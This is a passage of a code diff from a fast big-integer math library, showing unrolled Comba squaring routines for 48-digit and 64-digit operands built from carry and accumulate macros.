SQRADDSC(a[31], a[47]); SQRADDAC(a[32], a[46]); SQRADDAC(a[33], a[45]); SQRADDAC(a[34], a[44]); SQRADDAC(a[35], a[43]); SQRADDAC(a[36], a[42]); SQRADDAC(a[37], a[41]); SQRADDAC(a[38], a[40]); SQRADDDB; SQRADD(a[39], a[39]);
COMBA_STORE(b[78]);
/* output 79 */
CARRY_FORWARD;
SQRADDSC(a[32], a[47]); SQRADDAC(a[33], a[46]); SQRADDAC(a[34], a[45]); SQRADDAC(a[35], a[44]); SQRADDAC(a[36], a[43]); SQRADDAC(a[37], a[42]); SQRADDAC(a[38], a[41]); SQRADDAC(a[39], a[40]); SQRADDDB;
COMBA_STORE(b[79]);
/* output 80 */
CARRY_FORWARD;
SQRADDSC(a[33], a[47]); SQRADDAC(a[34], a[46]); SQRADDAC(a[35], a[45]); SQRADDAC(a[36], a[44]); SQRADDAC(a[37], a[43]); SQRADDAC(a[38], a[42]); SQRADDAC(a[39], a[41]); SQRADDDB; SQRADD(a[40], a[40]);
COMBA_STORE(b[80]);
/* output 81 */
CARRY_FORWARD;
SQRADDSC(a[34], a[47]); SQRADDAC(a[35], a[46]); SQRADDAC(a[36], a[45]); SQRADDAC(a[37], a[44]); SQRADDAC(a[38], a[43]); SQRADDAC(a[39], a[42]); SQRADDAC(a[40], a[41]); SQRADDDB;
COMBA_STORE(b[81]);
/* output 82 */
CARRY_FORWARD;
SQRADDSC(a[35], a[47]); SQRADDAC(a[36], a[46]); SQRADDAC(a[37], a[45]); SQRADDAC(a[38], a[44]); SQRADDAC(a[39], a[43]); SQRADDAC(a[40], a[42]); SQRADDDB; SQRADD(a[41], a[41]);
COMBA_STORE(b[82]);
/* output 83 */
CARRY_FORWARD;
SQRADDSC(a[36], a[47]); SQRADDAC(a[37], a[46]); SQRADDAC(a[38], a[45]); SQRADDAC(a[39], a[44]); SQRADDAC(a[40], a[43]); SQRADDAC(a[41], a[42]); SQRADDDB;
COMBA_STORE(b[83]);
/* output 84 */
CARRY_FORWARD;
SQRADDSC(a[37], a[47]); SQRADDAC(a[38], a[46]); SQRADDAC(a[39], a[45]); SQRADDAC(a[40], a[44]); SQRADDAC(a[41], a[43]); SQRADDDB; SQRADD(a[42], a[42]);
COMBA_STORE(b[84]);
/* output 85 */
CARRY_FORWARD;
SQRADDSC(a[38], a[47]); SQRADDAC(a[39], a[46]); SQRADDAC(a[40], a[45]); SQRADDAC(a[41], a[44]); SQRADDAC(a[42], a[43]); SQRADDDB;
COMBA_STORE(b[85]);
/* output 86 */
CARRY_FORWARD;
SQRADDSC(a[39], a[47]); SQRADDAC(a[40], a[46]); SQRADDAC(a[41], a[45]); SQRADDAC(a[42], a[44]); SQRADDDB; SQRADD(a[43], a[43]);
COMBA_STORE(b[86]);
/* output 87 */
CARRY_FORWARD;
SQRADDSC(a[40], a[47]); SQRADDAC(a[41], a[46]); SQRADDAC(a[42], a[45]); SQRADDAC(a[43], a[44]); SQRADDDB;
COMBA_STORE(b[87]);
/* output 88 */
CARRY_FORWARD;
SQRADDSC(a[41], a[47]); SQRADDAC(a[42], a[46]); SQRADDAC(a[43], a[45]); SQRADDDB; SQRADD(a[44], a[44]);
COMBA_STORE(b[88]);
/* output 89 */
CARRY_FORWARD;
SQRADDSC(a[42], a[47]); SQRADDAC(a[43], a[46]); SQRADDAC(a[44], a[45]); SQRADDDB;
COMBA_STORE(b[89]);
/* output 90 */
CARRY_FORWARD;
SQRADD2(a[43], a[47]); SQRADD2(a[44], a[46]); SQRADD(a[45], a[45]);
COMBA_STORE(b[90]);
/* output 91 */
CARRY_FORWARD;
SQRADD2(a[44], a[47]); SQRADD2(a[45], a[46]);
COMBA_STORE(b[91]);
/* output 92 */
CARRY_FORWARD;
SQRADD2(a[45], a[47]); SQRADD(a[46], a[46]);
COMBA_STORE(b[92]);
/* output 93 */
CARRY_FORWARD;
SQRADD2(a[46], a[47]);
COMBA_STORE(b[93]);
/* output 94 */
CARRY_FORWARD;
SQRADD(a[47], a[47]);
COMBA_STORE(b[94]);
COMBA_STORE2(b[95]);
COMBA_FINI;
B->used = 96;
B->sign = FP_ZPOS;
memcpy(B->dp, b, 96 * sizeof(fp_digit));
fp_clamp(B);
}
#endif
/* $Source$ */
/* $Revision$ */
/* $Date$ */

View File

@ -0,0 +1,664 @@
#define TFM_DEFINES
#include "fp_sqr_comba.c"
#if defined(TFM_SQR64) && FP_SIZE >= 128
void fp_sqr_comba64(fp_int *A, fp_int *B)
{
fp_digit *a, b[128], c0, c1, c2, sc0, sc1, sc2;
#ifdef TFM_ISO
fp_word tt;
#endif
a = A->dp;
COMBA_START;
/* clear carries */
CLEAR_CARRY;
/* output 0 */
SQRADD(a[0],a[0]);
COMBA_STORE(b[0]);
/* output 1 */
CARRY_FORWARD;
SQRADD2(a[0], a[1]);
COMBA_STORE(b[1]);
/* output 2 */
CARRY_FORWARD;
SQRADD2(a[0], a[2]); SQRADD(a[1], a[1]);
COMBA_STORE(b[2]);
/* output 3 */
CARRY_FORWARD;
SQRADD2(a[0], a[3]); SQRADD2(a[1], a[2]);
COMBA_STORE(b[3]);
/* output 4 */
CARRY_FORWARD;
SQRADD2(a[0], a[4]); SQRADD2(a[1], a[3]); SQRADD(a[2], a[2]);
COMBA_STORE(b[4]);
/* output 5 */
CARRY_FORWARD;
SQRADDSC(a[0], a[5]); SQRADDAC(a[1], a[4]); SQRADDAC(a[2], a[3]); SQRADDDB;
COMBA_STORE(b[5]);
/* output 6 */
CARRY_FORWARD;
SQRADDSC(a[0], a[6]); SQRADDAC(a[1], a[5]); SQRADDAC(a[2], a[4]); SQRADDDB; SQRADD(a[3], a[3]);
COMBA_STORE(b[6]);
/* output 7 */
CARRY_FORWARD;
SQRADDSC(a[0], a[7]); SQRADDAC(a[1], a[6]); SQRADDAC(a[2], a[5]); SQRADDAC(a[3], a[4]); SQRADDDB;
COMBA_STORE(b[7]);
/* output 8 */
CARRY_FORWARD;
SQRADDSC(a[0], a[8]); SQRADDAC(a[1], a[7]); SQRADDAC(a[2], a[6]); SQRADDAC(a[3], a[5]); SQRADDDB; SQRADD(a[4], a[4]);
COMBA_STORE(b[8]);
/* output 9 */
CARRY_FORWARD;
SQRADDSC(a[0], a[9]); SQRADDAC(a[1], a[8]); SQRADDAC(a[2], a[7]); SQRADDAC(a[3], a[6]); SQRADDAC(a[4], a[5]); SQRADDDB;
COMBA_STORE(b[9]);
/* output 10 */
CARRY_FORWARD;
SQRADDSC(a[0], a[10]); SQRADDAC(a[1], a[9]); SQRADDAC(a[2], a[8]); SQRADDAC(a[3], a[7]); SQRADDAC(a[4], a[6]); SQRADDDB; SQRADD(a[5], a[5]);
COMBA_STORE(b[10]);
/* output 11 */
CARRY_FORWARD;
SQRADDSC(a[0], a[11]); SQRADDAC(a[1], a[10]); SQRADDAC(a[2], a[9]); SQRADDAC(a[3], a[8]); SQRADDAC(a[4], a[7]); SQRADDAC(a[5], a[6]); SQRADDDB;
COMBA_STORE(b[11]);
/* output 12 */
CARRY_FORWARD;
SQRADDSC(a[0], a[12]); SQRADDAC(a[1], a[11]); SQRADDAC(a[2], a[10]); SQRADDAC(a[3], a[9]); SQRADDAC(a[4], a[8]); SQRADDAC(a[5], a[7]); SQRADDDB; SQRADD(a[6], a[6]);
COMBA_STORE(b[12]);
/* output 13 */
CARRY_FORWARD;
SQRADDSC(a[0], a[13]); SQRADDAC(a[1], a[12]); SQRADDAC(a[2], a[11]); SQRADDAC(a[3], a[10]); SQRADDAC(a[4], a[9]); SQRADDAC(a[5], a[8]); SQRADDAC(a[6], a[7]); SQRADDDB;
COMBA_STORE(b[13]);
/* output 14 */
CARRY_FORWARD;
SQRADDSC(a[0], a[14]); SQRADDAC(a[1], a[13]); SQRADDAC(a[2], a[12]); SQRADDAC(a[3], a[11]); SQRADDAC(a[4], a[10]); SQRADDAC(a[5], a[9]); SQRADDAC(a[6], a[8]); SQRADDDB; SQRADD(a[7], a[7]);
COMBA_STORE(b[14]);
/* output 15 */
CARRY_FORWARD;
SQRADDSC(a[0], a[15]); SQRADDAC(a[1], a[14]); SQRADDAC(a[2], a[13]); SQRADDAC(a[3], a[12]); SQRADDAC(a[4], a[11]); SQRADDAC(a[5], a[10]); SQRADDAC(a[6], a[9]); SQRADDAC(a[7], a[8]); SQRADDDB;
COMBA_STORE(b[15]);
/* output 16 */
CARRY_FORWARD;
SQRADDSC(a[0], a[16]); SQRADDAC(a[1], a[15]); SQRADDAC(a[2], a[14]); SQRADDAC(a[3], a[13]); SQRADDAC(a[4], a[12]); SQRADDAC(a[5], a[11]); SQRADDAC(a[6], a[10]); SQRADDAC(a[7], a[9]); SQRADDDB; SQRADD(a[8], a[8]);
COMBA_STORE(b[16]);
/* output 17 */
CARRY_FORWARD;
SQRADDSC(a[0], a[17]); SQRADDAC(a[1], a[16]); SQRADDAC(a[2], a[15]); SQRADDAC(a[3], a[14]); SQRADDAC(a[4], a[13]); SQRADDAC(a[5], a[12]); SQRADDAC(a[6], a[11]); SQRADDAC(a[7], a[10]); SQRADDAC(a[8], a[9]); SQRADDDB;
COMBA_STORE(b[17]);
/* output 18 */
CARRY_FORWARD;
SQRADDSC(a[0], a[18]); SQRADDAC(a[1], a[17]); SQRADDAC(a[2], a[16]); SQRADDAC(a[3], a[15]); SQRADDAC(a[4], a[14]); SQRADDAC(a[5], a[13]); SQRADDAC(a[6], a[12]); SQRADDAC(a[7], a[11]); SQRADDAC(a[8], a[10]); SQRADDDB; SQRADD(a[9], a[9]);
COMBA_STORE(b[18]);
/* output 19 */
CARRY_FORWARD;
SQRADDSC(a[0], a[19]); SQRADDAC(a[1], a[18]); SQRADDAC(a[2], a[17]); SQRADDAC(a[3], a[16]); SQRADDAC(a[4], a[15]); SQRADDAC(a[5], a[14]); SQRADDAC(a[6], a[13]); SQRADDAC(a[7], a[12]); SQRADDAC(a[8], a[11]); SQRADDAC(a[9], a[10]); SQRADDDB;
COMBA_STORE(b[19]);
/* output 20 */
CARRY_FORWARD;
SQRADDSC(a[0], a[20]); SQRADDAC(a[1], a[19]); SQRADDAC(a[2], a[18]); SQRADDAC(a[3], a[17]); SQRADDAC(a[4], a[16]); SQRADDAC(a[5], a[15]); SQRADDAC(a[6], a[14]); SQRADDAC(a[7], a[13]); SQRADDAC(a[8], a[12]); SQRADDAC(a[9], a[11]); SQRADDDB; SQRADD(a[10], a[10]);
COMBA_STORE(b[20]);
/* output 21 */
CARRY_FORWARD;
SQRADDSC(a[0], a[21]); SQRADDAC(a[1], a[20]); SQRADDAC(a[2], a[19]); SQRADDAC(a[3], a[18]); SQRADDAC(a[4], a[17]); SQRADDAC(a[5], a[16]); SQRADDAC(a[6], a[15]); SQRADDAC(a[7], a[14]); SQRADDAC(a[8], a[13]); SQRADDAC(a[9], a[12]); SQRADDAC(a[10], a[11]); SQRADDDB;
COMBA_STORE(b[21]);
/* output 22 */
CARRY_FORWARD;
SQRADDSC(a[0], a[22]); SQRADDAC(a[1], a[21]); SQRADDAC(a[2], a[20]); SQRADDAC(a[3], a[19]); SQRADDAC(a[4], a[18]); SQRADDAC(a[5], a[17]); SQRADDAC(a[6], a[16]); SQRADDAC(a[7], a[15]); SQRADDAC(a[8], a[14]); SQRADDAC(a[9], a[13]); SQRADDAC(a[10], a[12]); SQRADDDB; SQRADD(a[11], a[11]);
COMBA_STORE(b[22]);
/* output 23 */
CARRY_FORWARD;
SQRADDSC(a[0], a[23]); SQRADDAC(a[1], a[22]); SQRADDAC(a[2], a[21]); SQRADDAC(a[3], a[20]); SQRADDAC(a[4], a[19]); SQRADDAC(a[5], a[18]); SQRADDAC(a[6], a[17]); SQRADDAC(a[7], a[16]); SQRADDAC(a[8], a[15]); SQRADDAC(a[9], a[14]); SQRADDAC(a[10], a[13]); SQRADDAC(a[11], a[12]); SQRADDDB;
COMBA_STORE(b[23]);
/* output 24 */
CARRY_FORWARD;
SQRADDSC(a[0], a[24]); SQRADDAC(a[1], a[23]); SQRADDAC(a[2], a[22]); SQRADDAC(a[3], a[21]); SQRADDAC(a[4], a[20]); SQRADDAC(a[5], a[19]); SQRADDAC(a[6], a[18]); SQRADDAC(a[7], a[17]); SQRADDAC(a[8], a[16]); SQRADDAC(a[9], a[15]); SQRADDAC(a[10], a[14]); SQRADDAC(a[11], a[13]); SQRADDDB; SQRADD(a[12], a[12]);
COMBA_STORE(b[24]);
/* output 25 */
CARRY_FORWARD;
SQRADDSC(a[0], a[25]); SQRADDAC(a[1], a[24]); SQRADDAC(a[2], a[23]); SQRADDAC(a[3], a[22]); SQRADDAC(a[4], a[21]); SQRADDAC(a[5], a[20]); SQRADDAC(a[6], a[19]); SQRADDAC(a[7], a[18]); SQRADDAC(a[8], a[17]); SQRADDAC(a[9], a[16]); SQRADDAC(a[10], a[15]); SQRADDAC(a[11], a[14]); SQRADDAC(a[12], a[13]); SQRADDDB;
COMBA_STORE(b[25]);
/* output 26 */
CARRY_FORWARD;
SQRADDSC(a[0], a[26]); SQRADDAC(a[1], a[25]); SQRADDAC(a[2], a[24]); SQRADDAC(a[3], a[23]); SQRADDAC(a[4], a[22]); SQRADDAC(a[5], a[21]); SQRADDAC(a[6], a[20]); SQRADDAC(a[7], a[19]); SQRADDAC(a[8], a[18]); SQRADDAC(a[9], a[17]); SQRADDAC(a[10], a[16]); SQRADDAC(a[11], a[15]); SQRADDAC(a[12], a[14]); SQRADDDB; SQRADD(a[13], a[13]);
COMBA_STORE(b[26]);
/* output 27 */
CARRY_FORWARD;
SQRADDSC(a[0], a[27]); SQRADDAC(a[1], a[26]); SQRADDAC(a[2], a[25]); SQRADDAC(a[3], a[24]); SQRADDAC(a[4], a[23]); SQRADDAC(a[5], a[22]); SQRADDAC(a[6], a[21]); SQRADDAC(a[7], a[20]); SQRADDAC(a[8], a[19]); SQRADDAC(a[9], a[18]); SQRADDAC(a[10], a[17]); SQRADDAC(a[11], a[16]); SQRADDAC(a[12], a[15]); SQRADDAC(a[13], a[14]); SQRADDDB;
COMBA_STORE(b[27]);
/* output 28 */
CARRY_FORWARD;
SQRADDSC(a[0], a[28]); SQRADDAC(a[1], a[27]); SQRADDAC(a[2], a[26]); SQRADDAC(a[3], a[25]); SQRADDAC(a[4], a[24]); SQRADDAC(a[5], a[23]); SQRADDAC(a[6], a[22]); SQRADDAC(a[7], a[21]); SQRADDAC(a[8], a[20]); SQRADDAC(a[9], a[19]); SQRADDAC(a[10], a[18]); SQRADDAC(a[11], a[17]); SQRADDAC(a[12], a[16]); SQRADDAC(a[13], a[15]); SQRADDDB; SQRADD(a[14], a[14]);
COMBA_STORE(b[28]);
/* output 29 */
CARRY_FORWARD;
SQRADDSC(a[0], a[29]); SQRADDAC(a[1], a[28]); SQRADDAC(a[2], a[27]); SQRADDAC(a[3], a[26]); SQRADDAC(a[4], a[25]); SQRADDAC(a[5], a[24]); SQRADDAC(a[6], a[23]); SQRADDAC(a[7], a[22]); SQRADDAC(a[8], a[21]); SQRADDAC(a[9], a[20]); SQRADDAC(a[10], a[19]); SQRADDAC(a[11], a[18]); SQRADDAC(a[12], a[17]); SQRADDAC(a[13], a[16]); SQRADDAC(a[14], a[15]); SQRADDDB;
COMBA_STORE(b[29]);
/* output 30 */
CARRY_FORWARD;
SQRADDSC(a[0], a[30]); SQRADDAC(a[1], a[29]); SQRADDAC(a[2], a[28]); SQRADDAC(a[3], a[27]); SQRADDAC(a[4], a[26]); SQRADDAC(a[5], a[25]); SQRADDAC(a[6], a[24]); SQRADDAC(a[7], a[23]); SQRADDAC(a[8], a[22]); SQRADDAC(a[9], a[21]); SQRADDAC(a[10], a[20]); SQRADDAC(a[11], a[19]); SQRADDAC(a[12], a[18]); SQRADDAC(a[13], a[17]); SQRADDAC(a[14], a[16]); SQRADDDB; SQRADD(a[15], a[15]);
COMBA_STORE(b[30]);
/* output 31 */
CARRY_FORWARD;
SQRADDSC(a[0], a[31]); SQRADDAC(a[1], a[30]); SQRADDAC(a[2], a[29]); SQRADDAC(a[3], a[28]); SQRADDAC(a[4], a[27]); SQRADDAC(a[5], a[26]); SQRADDAC(a[6], a[25]); SQRADDAC(a[7], a[24]); SQRADDAC(a[8], a[23]); SQRADDAC(a[9], a[22]); SQRADDAC(a[10], a[21]); SQRADDAC(a[11], a[20]); SQRADDAC(a[12], a[19]); SQRADDAC(a[13], a[18]); SQRADDAC(a[14], a[17]); SQRADDAC(a[15], a[16]); SQRADDDB;
COMBA_STORE(b[31]);
/* output 32 */
CARRY_FORWARD;
SQRADDSC(a[0], a[32]); SQRADDAC(a[1], a[31]); SQRADDAC(a[2], a[30]); SQRADDAC(a[3], a[29]); SQRADDAC(a[4], a[28]); SQRADDAC(a[5], a[27]); SQRADDAC(a[6], a[26]); SQRADDAC(a[7], a[25]); SQRADDAC(a[8], a[24]); SQRADDAC(a[9], a[23]); SQRADDAC(a[10], a[22]); SQRADDAC(a[11], a[21]); SQRADDAC(a[12], a[20]); SQRADDAC(a[13], a[19]); SQRADDAC(a[14], a[18]); SQRADDAC(a[15], a[17]); SQRADDDB; SQRADD(a[16], a[16]);
COMBA_STORE(b[32]);
/* output 33 */
CARRY_FORWARD;
SQRADDSC(a[0], a[33]); SQRADDAC(a[1], a[32]); SQRADDAC(a[2], a[31]); SQRADDAC(a[3], a[30]); SQRADDAC(a[4], a[29]); SQRADDAC(a[5], a[28]); SQRADDAC(a[6], a[27]); SQRADDAC(a[7], a[26]); SQRADDAC(a[8], a[25]); SQRADDAC(a[9], a[24]); SQRADDAC(a[10], a[23]); SQRADDAC(a[11], a[22]); SQRADDAC(a[12], a[21]); SQRADDAC(a[13], a[20]); SQRADDAC(a[14], a[19]); SQRADDAC(a[15], a[18]); SQRADDAC(a[16], a[17]); SQRADDDB;
COMBA_STORE(b[33]);
/* output 34 */
CARRY_FORWARD;
SQRADDSC(a[0], a[34]); SQRADDAC(a[1], a[33]); SQRADDAC(a[2], a[32]); SQRADDAC(a[3], a[31]); SQRADDAC(a[4], a[30]); SQRADDAC(a[5], a[29]); SQRADDAC(a[6], a[28]); SQRADDAC(a[7], a[27]); SQRADDAC(a[8], a[26]); SQRADDAC(a[9], a[25]); SQRADDAC(a[10], a[24]); SQRADDAC(a[11], a[23]); SQRADDAC(a[12], a[22]); SQRADDAC(a[13], a[21]); SQRADDAC(a[14], a[20]); SQRADDAC(a[15], a[19]); SQRADDAC(a[16], a[18]); SQRADDDB; SQRADD(a[17], a[17]);
COMBA_STORE(b[34]);
/* output 35 */
CARRY_FORWARD;
SQRADDSC(a[0], a[35]); SQRADDAC(a[1], a[34]); SQRADDAC(a[2], a[33]); SQRADDAC(a[3], a[32]); SQRADDAC(a[4], a[31]); SQRADDAC(a[5], a[30]); SQRADDAC(a[6], a[29]); SQRADDAC(a[7], a[28]); SQRADDAC(a[8], a[27]); SQRADDAC(a[9], a[26]); SQRADDAC(a[10], a[25]); SQRADDAC(a[11], a[24]); SQRADDAC(a[12], a[23]); SQRADDAC(a[13], a[22]); SQRADDAC(a[14], a[21]); SQRADDAC(a[15], a[20]); SQRADDAC(a[16], a[19]); SQRADDAC(a[17], a[18]); SQRADDDB;
COMBA_STORE(b[35]);
/* output 36 */
CARRY_FORWARD;
SQRADDSC(a[0], a[36]); SQRADDAC(a[1], a[35]); SQRADDAC(a[2], a[34]); SQRADDAC(a[3], a[33]); SQRADDAC(a[4], a[32]); SQRADDAC(a[5], a[31]); SQRADDAC(a[6], a[30]); SQRADDAC(a[7], a[29]); SQRADDAC(a[8], a[28]); SQRADDAC(a[9], a[27]); SQRADDAC(a[10], a[26]); SQRADDAC(a[11], a[25]); SQRADDAC(a[12], a[24]); SQRADDAC(a[13], a[23]); SQRADDAC(a[14], a[22]); SQRADDAC(a[15], a[21]); SQRADDAC(a[16], a[20]); SQRADDAC(a[17], a[19]); SQRADDDB; SQRADD(a[18], a[18]);
COMBA_STORE(b[36]);
/* output 37 */
CARRY_FORWARD;
SQRADDSC(a[0], a[37]); SQRADDAC(a[1], a[36]); SQRADDAC(a[2], a[35]); SQRADDAC(a[3], a[34]); SQRADDAC(a[4], a[33]); SQRADDAC(a[5], a[32]); SQRADDAC(a[6], a[31]); SQRADDAC(a[7], a[30]); SQRADDAC(a[8], a[29]); SQRADDAC(a[9], a[28]); SQRADDAC(a[10], a[27]); SQRADDAC(a[11], a[26]); SQRADDAC(a[12], a[25]); SQRADDAC(a[13], a[24]); SQRADDAC(a[14], a[23]); SQRADDAC(a[15], a[22]); SQRADDAC(a[16], a[21]); SQRADDAC(a[17], a[20]); SQRADDAC(a[18], a[19]); SQRADDDB;
COMBA_STORE(b[37]);
/* output 38 */
CARRY_FORWARD;
SQRADDSC(a[0], a[38]); SQRADDAC(a[1], a[37]); SQRADDAC(a[2], a[36]); SQRADDAC(a[3], a[35]); SQRADDAC(a[4], a[34]); SQRADDAC(a[5], a[33]); SQRADDAC(a[6], a[32]); SQRADDAC(a[7], a[31]); SQRADDAC(a[8], a[30]); SQRADDAC(a[9], a[29]); SQRADDAC(a[10], a[28]); SQRADDAC(a[11], a[27]); SQRADDAC(a[12], a[26]); SQRADDAC(a[13], a[25]); SQRADDAC(a[14], a[24]); SQRADDAC(a[15], a[23]); SQRADDAC(a[16], a[22]); SQRADDAC(a[17], a[21]); SQRADDAC(a[18], a[20]); SQRADDDB; SQRADD(a[19], a[19]);
COMBA_STORE(b[38]);
/* output 39 */
CARRY_FORWARD;
SQRADDSC(a[0], a[39]); SQRADDAC(a[1], a[38]); SQRADDAC(a[2], a[37]); SQRADDAC(a[3], a[36]); SQRADDAC(a[4], a[35]); SQRADDAC(a[5], a[34]); SQRADDAC(a[6], a[33]); SQRADDAC(a[7], a[32]); SQRADDAC(a[8], a[31]); SQRADDAC(a[9], a[30]); SQRADDAC(a[10], a[29]); SQRADDAC(a[11], a[28]); SQRADDAC(a[12], a[27]); SQRADDAC(a[13], a[26]); SQRADDAC(a[14], a[25]); SQRADDAC(a[15], a[24]); SQRADDAC(a[16], a[23]); SQRADDAC(a[17], a[22]); SQRADDAC(a[18], a[21]); SQRADDAC(a[19], a[20]); SQRADDDB;
COMBA_STORE(b[39]);
/* output 40 */
CARRY_FORWARD;
SQRADDSC(a[0], a[40]); SQRADDAC(a[1], a[39]); SQRADDAC(a[2], a[38]); SQRADDAC(a[3], a[37]); SQRADDAC(a[4], a[36]); SQRADDAC(a[5], a[35]); SQRADDAC(a[6], a[34]); SQRADDAC(a[7], a[33]); SQRADDAC(a[8], a[32]); SQRADDAC(a[9], a[31]); SQRADDAC(a[10], a[30]); SQRADDAC(a[11], a[29]); SQRADDAC(a[12], a[28]); SQRADDAC(a[13], a[27]); SQRADDAC(a[14], a[26]); SQRADDAC(a[15], a[25]); SQRADDAC(a[16], a[24]); SQRADDAC(a[17], a[23]); SQRADDAC(a[18], a[22]); SQRADDAC(a[19], a[21]); SQRADDDB; SQRADD(a[20], a[20]);
COMBA_STORE(b[40]);
/* output 41 */
CARRY_FORWARD;
SQRADDSC(a[0], a[41]); SQRADDAC(a[1], a[40]); SQRADDAC(a[2], a[39]); SQRADDAC(a[3], a[38]); SQRADDAC(a[4], a[37]); SQRADDAC(a[5], a[36]); SQRADDAC(a[6], a[35]); SQRADDAC(a[7], a[34]); SQRADDAC(a[8], a[33]); SQRADDAC(a[9], a[32]); SQRADDAC(a[10], a[31]); SQRADDAC(a[11], a[30]); SQRADDAC(a[12], a[29]); SQRADDAC(a[13], a[28]); SQRADDAC(a[14], a[27]); SQRADDAC(a[15], a[26]); SQRADDAC(a[16], a[25]); SQRADDAC(a[17], a[24]); SQRADDAC(a[18], a[23]); SQRADDAC(a[19], a[22]); SQRADDAC(a[20], a[21]); SQRADDDB;
COMBA_STORE(b[41]);
/* output 42 */
CARRY_FORWARD;
SQRADDSC(a[0], a[42]); SQRADDAC(a[1], a[41]); SQRADDAC(a[2], a[40]); SQRADDAC(a[3], a[39]); SQRADDAC(a[4], a[38]); SQRADDAC(a[5], a[37]); SQRADDAC(a[6], a[36]); SQRADDAC(a[7], a[35]); SQRADDAC(a[8], a[34]); SQRADDAC(a[9], a[33]); SQRADDAC(a[10], a[32]); SQRADDAC(a[11], a[31]); SQRADDAC(a[12], a[30]); SQRADDAC(a[13], a[29]); SQRADDAC(a[14], a[28]); SQRADDAC(a[15], a[27]); SQRADDAC(a[16], a[26]); SQRADDAC(a[17], a[25]); SQRADDAC(a[18], a[24]); SQRADDAC(a[19], a[23]); SQRADDAC(a[20], a[22]); SQRADDDB; SQRADD(a[21], a[21]);
COMBA_STORE(b[42]);
/* output 43 */
CARRY_FORWARD;
SQRADDSC(a[0], a[43]); SQRADDAC(a[1], a[42]); SQRADDAC(a[2], a[41]); SQRADDAC(a[3], a[40]); SQRADDAC(a[4], a[39]); SQRADDAC(a[5], a[38]); SQRADDAC(a[6], a[37]); SQRADDAC(a[7], a[36]); SQRADDAC(a[8], a[35]); SQRADDAC(a[9], a[34]); SQRADDAC(a[10], a[33]); SQRADDAC(a[11], a[32]); SQRADDAC(a[12], a[31]); SQRADDAC(a[13], a[30]); SQRADDAC(a[14], a[29]); SQRADDAC(a[15], a[28]); SQRADDAC(a[16], a[27]); SQRADDAC(a[17], a[26]); SQRADDAC(a[18], a[25]); SQRADDAC(a[19], a[24]); SQRADDAC(a[20], a[23]); SQRADDAC(a[21], a[22]); SQRADDDB;
COMBA_STORE(b[43]);
/* output 44 */
CARRY_FORWARD;
SQRADDSC(a[0], a[44]); SQRADDAC(a[1], a[43]); SQRADDAC(a[2], a[42]); SQRADDAC(a[3], a[41]); SQRADDAC(a[4], a[40]); SQRADDAC(a[5], a[39]); SQRADDAC(a[6], a[38]); SQRADDAC(a[7], a[37]); SQRADDAC(a[8], a[36]); SQRADDAC(a[9], a[35]); SQRADDAC(a[10], a[34]); SQRADDAC(a[11], a[33]); SQRADDAC(a[12], a[32]); SQRADDAC(a[13], a[31]); SQRADDAC(a[14], a[30]); SQRADDAC(a[15], a[29]); SQRADDAC(a[16], a[28]); SQRADDAC(a[17], a[27]); SQRADDAC(a[18], a[26]); SQRADDAC(a[19], a[25]); SQRADDAC(a[20], a[24]); SQRADDAC(a[21], a[23]); SQRADDDB; SQRADD(a[22], a[22]);
COMBA_STORE(b[44]);
/* output 45 */
CARRY_FORWARD;
SQRADDSC(a[0], a[45]); SQRADDAC(a[1], a[44]); SQRADDAC(a[2], a[43]); SQRADDAC(a[3], a[42]); SQRADDAC(a[4], a[41]); SQRADDAC(a[5], a[40]); SQRADDAC(a[6], a[39]); SQRADDAC(a[7], a[38]); SQRADDAC(a[8], a[37]); SQRADDAC(a[9], a[36]); SQRADDAC(a[10], a[35]); SQRADDAC(a[11], a[34]); SQRADDAC(a[12], a[33]); SQRADDAC(a[13], a[32]); SQRADDAC(a[14], a[31]); SQRADDAC(a[15], a[30]); SQRADDAC(a[16], a[29]); SQRADDAC(a[17], a[28]); SQRADDAC(a[18], a[27]); SQRADDAC(a[19], a[26]); SQRADDAC(a[20], a[25]); SQRADDAC(a[21], a[24]); SQRADDAC(a[22], a[23]); SQRADDDB;
COMBA_STORE(b[45]);
/* output 46 */
CARRY_FORWARD;
SQRADDSC(a[0], a[46]); SQRADDAC(a[1], a[45]); SQRADDAC(a[2], a[44]); SQRADDAC(a[3], a[43]); SQRADDAC(a[4], a[42]); SQRADDAC(a[5], a[41]); SQRADDAC(a[6], a[40]); SQRADDAC(a[7], a[39]); SQRADDAC(a[8], a[38]); SQRADDAC(a[9], a[37]); SQRADDAC(a[10], a[36]); SQRADDAC(a[11], a[35]); SQRADDAC(a[12], a[34]); SQRADDAC(a[13], a[33]); SQRADDAC(a[14], a[32]); SQRADDAC(a[15], a[31]); SQRADDAC(a[16], a[30]); SQRADDAC(a[17], a[29]); SQRADDAC(a[18], a[28]); SQRADDAC(a[19], a[27]); SQRADDAC(a[20], a[26]); SQRADDAC(a[21], a[25]); SQRADDAC(a[22], a[24]); SQRADDDB; SQRADD(a[23], a[23]);
COMBA_STORE(b[46]);
/* output 47 */
CARRY_FORWARD;
SQRADDSC(a[0], a[47]); SQRADDAC(a[1], a[46]); SQRADDAC(a[2], a[45]); SQRADDAC(a[3], a[44]); SQRADDAC(a[4], a[43]); SQRADDAC(a[5], a[42]); SQRADDAC(a[6], a[41]); SQRADDAC(a[7], a[40]); SQRADDAC(a[8], a[39]); SQRADDAC(a[9], a[38]); SQRADDAC(a[10], a[37]); SQRADDAC(a[11], a[36]); SQRADDAC(a[12], a[35]); SQRADDAC(a[13], a[34]); SQRADDAC(a[14], a[33]); SQRADDAC(a[15], a[32]); SQRADDAC(a[16], a[31]); SQRADDAC(a[17], a[30]); SQRADDAC(a[18], a[29]); SQRADDAC(a[19], a[28]); SQRADDAC(a[20], a[27]); SQRADDAC(a[21], a[26]); SQRADDAC(a[22], a[25]); SQRADDAC(a[23], a[24]); SQRADDDB;
COMBA_STORE(b[47]);
/* output 48 */
CARRY_FORWARD;
